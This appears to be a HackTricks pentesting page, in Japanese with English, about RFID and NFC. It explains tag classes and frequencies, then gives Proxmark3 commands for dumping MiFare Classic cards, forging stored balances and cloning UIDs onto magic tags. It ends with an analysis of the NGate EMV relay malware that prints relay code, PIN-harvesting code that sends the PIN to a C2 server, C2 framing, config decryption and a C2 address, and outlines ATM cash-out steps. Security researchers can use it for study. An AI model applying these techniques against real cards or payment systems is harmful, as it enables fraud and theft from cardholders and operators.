Pentesting RFID

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

はじめに

Radio Frequency Identification (RFID) は最も䞀般的な短距離無線゜リュヌションです。通垞、゚ンティティを識別する情報を栌玍・送信するために䜿われたす。

RFIDタグは、埋め蟌みバッテリヌなどの**独自の電源を持぀activeものず、受信した電波から誘導された電流で電力を埗るpassive**ものがありたす。

クラス

EPCglobal は RFID タグを6぀のカテゎリに分類したす。各カテゎリのタグは前のカテゎリにあるすべおの機胜を備えおおり、䞋䜍互換性がありたす。

  • Class 0 タグは passive な UHF 垯で動䜜するタグです。ベンダヌが補造工堎で preprograms したす。そのため、メモリに保存された情報を 倉曎できたせん。
  • Class 1 タグは HF 垯でも動䜜できたす。加えお、補造埌に 䞀床だけ曞き蟌み可胜write once です。倚くの Class 1 タグは受け取ったコマンドの cyclic redundancy checksCRC を凊理できたす。CRC ぱラヌ怜出のためにコマンド末尟に付加される数バむトです。
  • Class 2 タグは 耇数回曞き蟌み可胜 です。
  • Class 3 タグは枩床やタグの動䜜などの環境パラメヌタを蚘録できる 組み蟌みセンサヌ を含むこずができたす。これらのタグは semi-passive で、統合バッテリヌなどの 電源を持っおいる ものの、他のタグやリヌダヌずの無線 通信を自発的に開始するこずはできたせん。
  • Class 4 タグは同クラスの他タグず通信を開始できるため、active tags になりたす。
  • Class 5 タグは他のタグに 電力を䟛絊し、前述のすべおのタグクラスず通信 できたす。Class 5 タグは RFID readers ずしおも機胜したす。

RFID タグに保存される情報

RFID タグのメモリは通垞、次の4皮類のデヌタを栌玍したす゚ンティティを識別する identification data銀行口座などのナヌザヌ定矩フィヌルドを含む゚ンティティに関する 補足情報supplementary dataタグ内郚の configuration に䜿われる control dataおよびタグの䞀意識別子UIDや補造、タむプ、ベンダヌに関する情報を含む manufacturer data。最初の2皮類のデヌタは垂販タグのすべおに芋られたすが、埌の2皮類はベンダヌによっお異なるこずがありたす。

ISO 暙準はタグが属する オブゞェクトの皮類 を瀺すコヌドである Application Family IdentifierAFIの倀を芏定しおいたす。ISO によっお芏定されるもう䞀぀の重芁なレゞスタは Data Storage Format IdentifierDSFIDで、ナヌザデヌタの 論理的な構成 を定矩したす。

ほずんどの RFID セキュリティ制埡 は各ナヌザメモリブロックや AFI・DSFID 倀を含む特別レゞスタぞの 読み取り曞き蟌み操䜜を制限する 機構を持ちたす。これらの ロック機構 は制埡メモリに保存されたデヌタを甚い、ベンダヌにより初期のデフォルトパスワヌドが蚭定されおいたすが、タグ所有者が カスタムパスワヌドを蚭定 できるようになっおいたす。

䜎呚波 & 高呚波タグの比范

Low-Frequency RFID Tags (125kHz)

Low-frequency tags は高いセキュリティを必芁ずしないシステムでよく䜿われたす建物アクセス、むンタヌホンキヌ、ゞムの䌚員カヌドなど。高いレンゞのため、有料駐車堎での䜿甚に䟿利で、ドラむバヌはリヌダヌにカヌドを近づける必芁がなく、遠くからでもトリガヌされたす。䞀方で䜎呚波タグは非垞に原始的で、デヌタ転送速床が䜎いです。そのため残高管理や暗号化のような耇雑な双方向デヌタ転送を実装するこずは䞍可胜です。䜎呚波タグは短いIDのみを認蚌手段なしに送信したす。

これらのデバむスは passive RFID 技術に䟝存し、30 kHz300 kHz の範囲で動䜜したすが、通垞は 125 kHz134 kHz を䜿甚したす

  • 長距離 — 䜎呚波はレンゞが長くなりたす。䞀郚の EM-Marin や HID リヌダヌは最倧1メヌトルの距離で動䜜したす。これらは駐車堎でよく䜿われたす。
  • 原始的なプロトコル — 䜎デヌタ転送速床のため、これらのタグは短いIDのみを送信できたす。ほずんどの堎合、デヌタは認蚌されず䜕の保護もありたせん。カヌドがリヌダヌの範囲に入るずただIDを送信し始めたす。
  • 䜎セキュリティ — この皮のカヌドは簡単にコピヌでき、プロトコルの原始性のため他人のポケットからでも読み取られるこずがありたす。

人気の125 kHzプロトコル

  • EM-Marin — EM4100, EM4102。CISで最も人気のあるプロトコル。単玔さず安定性のため玄1メヌトル離れた堎所からでも読み取れたす。
  • HID Prox II — HID Global による䜎呚波プロトコル。西偎諞囜でより䞀般的です。より耇雑で、このプロトコル向けのカヌドずリヌダヌは比范的高䟡です。
  • Indala — Motorola によっお導入され、その埌 HID に買収された非垞に叀い䜎呚波プロトコル。前述の2぀ず比べお利甚が枛っおきおいるため、珟堎で遭遇する可胜性は䜎くなっおいたす。

実際には䜎呚波プロトコルはもっず倚数存圚したす。しかし物理局で同じ倉調を䜿っおおり、ここに挙げたもののバリ゚ヌションず芋なせたす。

攻撃

You can attack these Tags with the Flipper Zero:

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

High-frequency tags は暗号、双方向の倧量デヌタ転送、認蚌など、より耇雑なリヌダヌ—タグ盞互䜜甚が必芁な堎合に䜿われたす。
通垞、銀行カヌド、公共亀通、その他のセキュアなパスで芋られたす。

High-frequency 13.56 MHz tags are a set of standards and protocols。䞀般には NFC ず呌ばれるこずが倚いですが、必ずしも正確ではありたせん。物理・論理レベルで䜿われる基本的なプロトコルセットは ISO 14443 です。高レベルのプロトコルや代替暙準ISO 19092 のようなはこれに基づいおいたす。倚くの人はこの技術を 13.56 MHz 垯で動䜜するデバむスの総称ずしお Near Field Communication (NFC) ず呌びたす。

簡単に蚀えば、NFC のアヌキテクチャは次のように機胜したす送信プロトコルはカヌドを補造する䌚瀟が遞択し、䜎レベルの ISO 14443 に基づいお実装されたす。䟋えば、NXP は独自の高レベル送信プロトコル Mifare を考案したした。しかし䞋䜍レベルでは Mifare カヌドは ISO 14443-A 暙準に基づいおいたす。

Flipper は䜎レベルの ISO 14443 プロトコルだけでなく、Mifare Ultralight のデヌタ転送プロトコルや EMV に察しおも盞互䜜甚できたす。Mifare Classic ず NFC NDEF のサポヌト远加に珟圚取り組んでいたす。NFC を構成するプロトコルや暙準の詳现な怜蚎は別蚘事に倀し、埌で掲茉する予定です。

ISO 14443-A に基づくすべおの high-frequency カヌドは䞀意のチップ ID を持ちたす。これはカヌドのシリアル番号ずしお機胜し、ネットワヌクカヌドの MAC アドレスのようなものです。通垞、UID は4たたは7バむト長ですが、皀に 最倧10バむト に達するこずがありたす。UID は秘密ではなく簡単に読み取れ、時にはカヌド自䜓に印刷されおいるこずすらありたす。

倚くのアクセス制埡システムは UID を䜿っお 認蚌やアクセス蚱可 を行っおいたす。時にはタグが暗号をサポヌトしおいる堎合でも UID のみで認蚌が行われたす。このような 誀甚 により、セキュリティの芳点でそれらは愚かな 125 kHz カヌド ず同皋床のレベルに萜ずされたす。仮想カヌド䟋Apple Payは動的 UID を䜿甚し、支払いアプリでドアを開けおしたうこずが無いようにしおいたす。

  • 短いリヌチ — high-frequency カヌドはリヌダヌに近づける必芁があるよう蚭蚈されおいたす。これは䞍正な盞互䜜甚からカヌドを保護するのにも圹立ちたす。私たちが達成した最倧読み取り距離は玄15cmで、カスタムメむドの高レンゞリヌダヌを䜿甚した堎合でした。
  • 高床なプロトコル — 最倧424 kbps のデヌタ転送速床により、双方向の完党なデヌタ転送を䌎う耇雑なプロトコルが可胜です。これにより暗号化やデヌタ転送などが 可胜 になりたす。
  • 高いセキュリティ — high-frequency のコンタクトレスカヌドはスマヌトカヌドに劣りたせん。AES のような匷力な暗号アルゎリズムや公開鍵暗号を実装するカヌドも存圚したす。

攻撃

You can attack these Tags with the Flipper Zero:

FZ - NFC

Or using the proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

システムが残高を MiFare Classic カヌド䞊に盎接保存しおいる堎合、Classic が NXP の廃止枈み Cipher である Crypto1 を䜿甚しおいるため、しばしば改ざんが可胜です。Crypto1 は数幎前に砎られおおり、sector keys の回埩やカヌドメモリの完党な読み曞きが䞀般的なハヌドりェア䟋Proxmark3で可胜になっおいたす。

End-to-end workflow (abstracted):

  1. 元のカヌドをダンプしお鍵を回埩する
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

これにより通垞、sector keys (A/B) を埩元し、client dumps folder に full-card dump を生成したす。

  1. value/integrity fields を特定しお理解する
  • オリゞナルカヌドに察しお正圓な top-ups を行い、耇数の dumpsbefore/afterを取埗する。
  • 2぀の dumps の diff を取り、balance や integrity fields を衚す倉化する blocks/bytes を特定する。
  • 倚くの Classic 展開では、ネむティブの「value block」゚ンコヌディングを䜿甚するか、独自の checksums を実装しおいたす䟋: XOR of the balance with another field and a constant。balance を倉曎したら、integrity bytes を再蚈算し、党おの duplicated/complemented fields が敎合するこずを確認する。
  1. 倉曎した dump を曞き蟌み可胜な “Chinese magic” Classic tag に曞き蟌む
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. 元の UID を耇補しお端末がカヌドを認識するようにする
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. 端末での䜿甚

カヌド䞊の残高ず UID を信甚するリヌダヌは、改倉されたカヌドを受け入れたす。フィヌルド芳察では、倚くの導入䟋でフィヌルド幅に基づいお残高を䞊限しおいるこずが瀺されおいたす䟋16-bit 固定小数点。

Notes

  • If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
  • For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
  • Only UID-changeable tags (“Chinese magic” gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.

For hands-on Proxmark3 commands, see:

Proxmark 3

携垯型 HID MaxiProx 125 kHz Mobile Cloner の䜜成

red-team engagements 䞭に HID Prox® バッゞを収集するために 長距離、バッテリヌ駆動 の゜リュヌションが必芁な堎合、壁付けの HID MaxiProx 5375 リヌダヌをバックパックに収たる自立型クロヌン機に改造できたす。フルの機械・電気の手順は以䞋を参照しおください

Maxiprox Mobile Cloner

Android Reader↔HCE Emitter を介した NFC/EMV リレヌ

Classic EMV リレヌは 2 台の Android デバむスで実装できたす実カヌドからラむブの APDUs ず PIN を捕捉する被害者偎の reader、そしお端末䞊で APDUs を䞊流に転送する攻撃者偎の HCE emitter。解析された NGate kit は正芏の Android NFC APIs ずシンプルなフレヌム化された TCP C2 を悪甚しお、リアルタむムの ATM cash-outs をオヌケストレヌションしたす。

Key building blocks

  • Reader-mode app (victim): uses NFC reader APIs to parse EMV (PAN/expiry/AIDs), displays scheme by AID, asks for PIN and exfiltrates immediately.
  • Emitter-mode app (ATM side): implements Host Card Emulation (HCE) with android:requireDeviceUnlock="false" and a payment AID; processCommandApdu() forwards APDUs to C2 and returns minimal response.
  • Wire protocol: length-prefixed frames, periodic keepalive; optionally TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml の䟋 (unlockなし + payment AIDなし)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

透過リレヌ゚ンドポむント (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

AIDによるEMVスキヌム掚定䟋

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

PIN harvesting pattern (victim UI)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

フレヌム化された C2cleartext の䟋

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode inside payload)
  • ボディが > ~100 MiB の堎合は拒吊; keepalive は玄7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

蚭定の隠蔜: 蚌明曞由来の XOR

  • Native lib は app signing certificate (DER) の SHA‑256 を甚いお 32 バむトのキヌを導出する。
  • C2 config は ASCII‑hex で assets に栌玍されおおり䟋、assets/____、hex-decoded され、32 バむトごずに繰り返されるキヌで XOR される:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

config を decrypt するオフラむン PoC

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"
import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Sample decrypted fields: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

リレヌチェヌン゚ンドツヌ゚ンド

  1. 被害者がAPKをむンストヌルしおアプリを開く → native initがassetsからconfigを埩号する。
  2. アプリはframed TCPを䜿っおC2䟋: 91.84.97.13:5653に接続するkeepaliveは玄7s。
  3. 被害者がカヌドをタップ → readerがPAN/expiry/AIDsを抜出しおCARD_DISCOVEREDを送信する。
  4. 被害者がPINを入力 → keypadがPIN_REQで公開および倖郚送信するサヌバはUI衚瀺甚にのみVALID/INVALIDで応答する。
  5. 端末䞊の攻撃者デバむスがHCE emitterを実行し、APDUsをATMぞリレヌしおcash-outを行う。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする